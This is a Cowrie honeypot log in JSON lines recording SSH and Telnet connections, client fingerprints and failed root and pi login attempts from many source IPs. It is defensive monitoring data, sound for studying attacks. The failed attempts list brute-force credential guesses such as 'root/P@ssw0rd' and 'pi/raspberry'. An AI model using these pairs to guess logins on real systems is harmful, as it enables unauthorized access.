{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:21.083833Z","src_ip":"103.24.63.85","session":"58a1608f74f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:23.154885Z","src_ip":"103.24.63.85","session":"58a1608f74f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":57838,"dst_ip":"159.203.135.109","dst_port":22,"session":"f917d0923e9b","protocol":"ssh","message":"New connection: 103.172.78.219:57838 (159.203.135.109:22) [session: f917d0923e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:24.459736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:24.464937Z","src_ip":"103.172.78.219","session":"f917d0923e9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:24.731447Z","src_ip":"103.172.78.219","session":"f917d0923e9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghbrjk","message":"login attempt [root/ghbrjk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:25.529940Z","src_ip":"103.172.78.219","session":"f917d0923e9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:26.797223Z","src_ip":"103.172.78.219","session":"f917d0923e9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.105.130.18","src_port":37240,"dst_ip":"159.203.135.109","dst_port":22,"session":"a8ba791fd982","protocol":"ssh","message":"New connection: 77.105.130.18:37240 (159.203.135.109:22) [session: a8ba791fd982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:27.538754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:27.543818Z","src_ip":"77.105.130.18","session":"a8ba791fd982","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:27.647912Z","src_ip":"77.105.130.18","session":"a8ba791fd982","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcdef1234","message":"login attempt [root/abcdef1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:28.075616Z","src_ip":"77.105.130.18","session":"a8ba791fd982","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.181.124.9","src_port":49994,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbd106220213","protocol":"ssh","message":"New connection: 5.181.124.9:49994 (159.203.135.109:22) [session: fbd106220213]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:28.458259Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.176.251","src_port":40970,"dst_ip":"159.203.135.109","dst_port":22,"session":"8aa0946669a5","protocol":"ssh","message":"New connection: 43.135.176.251:40970 (159.203.135.109:22) [session: 8aa0946669a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:28.600946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:28.606342Z","src_ip":"43.135.176.251","session":"8aa0946669a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:28.688651Z","src_ip":"43.135.176.251","session":"8aa0946669a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"K0nig!1234","message":"login attempt [root/K0nig!1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:28.999820Z","src_ip":"43.135.176.251","session":"8aa0946669a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.241.230","src_port":48698,"dst_ip":"159.203.135.109","dst_port":22,"session":"13f3d5f7a73e","protocol":"ssh","message":"New connection: 49.51.241.230:48698 (159.203.135.109:22) [session: 13f3d5f7a73e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:29.094703Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:29.100767Z","src_ip":"49.51.241.230","session":"13f3d5f7a73e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:29.173123Z","src_ip":"49.51.241.230","session":"13f3d5f7a73e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:29.181575Z","src_ip":"77.105.130.18","session":"a8ba791fd982","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin321","message":"login attempt [root/admin321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:29.479235Z","src_ip":"49.51.241.230","session":"13f3d5f7a73e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:29.959644Z","src_ip":"5.181.124.9","session":"fbd106220213","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:30.077538Z","src_ip":"43.135.176.251","session":"8aa0946669a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:30.374739Z","src_ip":"5.181.124.9","session":"fbd106220213","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:30.549929Z","src_ip":"49.51.241.230","session":"13f3d5f7a73e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.243.239.219","src_port":3072,"dst_ip":"10.17.0.5","dst_port":22,"session":"7666fb82f9c2","protocol":"ssh","message":"New connection: 74.243.239.219:3072 (10.17.0.5:22) [session: 7666fb82f9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:33.043489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:33.047381Z","src_ip":"74.243.239.219","session":"7666fb82f9c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:33.215299Z","src_ip":"74.243.239.219","session":"7666fb82f9c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gitlab-runner","message":"login attempt [root/gitlab-runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:33.923785Z","src_ip":"74.243.239.219","session":"7666fb82f9c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:35.094958Z","src_ip":"74.243.239.219","session":"7666fb82f9c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd","message":"login attempt [root/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:37.564946Z","src_ip":"5.181.124.9","session":"fbd106220213","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.99387216567993,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:38.346711Z","src_ip":"192.119.13.58","session":"f418d61e3af0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":49620,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bd1b79e32ca","protocol":"ssh","message":"New connection: 147.45.197.250:49620 (10.17.0.5:22) [session: 2bd1b79e32ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:38.477452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:38.482608Z","src_ip":"147.45.197.250","session":"2bd1b79e32ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:38.575747Z","src_ip":"147.45.197.250","session":"2bd1b79e32ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:38.662018Z","src_ip":"5.181.124.9","session":"fbd106220213","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"t64321t","message":"login attempt [root/t64321t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:38.853775Z","src_ip":"147.45.197.250","session":"2bd1b79e32ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:39.949106Z","src_ip":"147.45.197.250","session":"2bd1b79e32ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":46148,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8cb785cd359","protocol":"telnet","message":"New connection: 192.119.13.58:46148 (10.17.0.5:23) [session: b8cb785cd359]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:46.750310Z"}
{"eventid":"cowrie.session.closed","duration":48.93942451477051,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:50.074664Z","src_ip":"192.119.13.58","session":"b3debcc59e8b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":55084,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8b08f58cdb5","protocol":"telnet","message":"New connection: 192.119.13.58:55084 (10.17.0.5:23) [session: e8b08f58cdb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:55.150069Z"}
{"eventid":"cowrie.session.closed","duration":56.7986273765564,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:01:58.482383Z","src_ip":"192.119.13.58","session":"16948559f548","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49356,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9b2ac011552","protocol":"telnet","message":"New connection: 192.119.13.58:49356 (10.17.0.5:23) [session: b9b2ac011552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:00.239497Z"}
{"eventid":"cowrie.session.closed","duration":44.59470343589783,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:03.642975Z","src_ip":"192.119.13.58","session":"498dcc8e2ebe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":49864,"dst_ip":"10.17.0.5","dst_port":23,"session":"479898394193","protocol":"telnet","message":"New connection: 192.119.13.58:49864 (10.17.0.5:23) [session: 479898394193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:07.730935Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.130.162.67","src_port":10330,"dst_ip":"10.17.0.5","dst_port":23,"session":"a343b0b5e422","protocol":"telnet","message":"New connection: 45.130.162.67:10330 (10.17.0.5:23) [session: a343b0b5e422]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:08.756899Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.122.177.140","src_port":13730,"dst_ip":"10.17.0.5","dst_port":22,"session":"8132b5d9b23e","protocol":"ssh","message":"New connection: 186.122.177.140:13730 (10.17.0.5:22) [session: 8132b5d9b23e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:09.756326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:02:09.766613Z","src_ip":"186.122.177.140","session":"8132b5d9b23e","protocol":"ssh"}
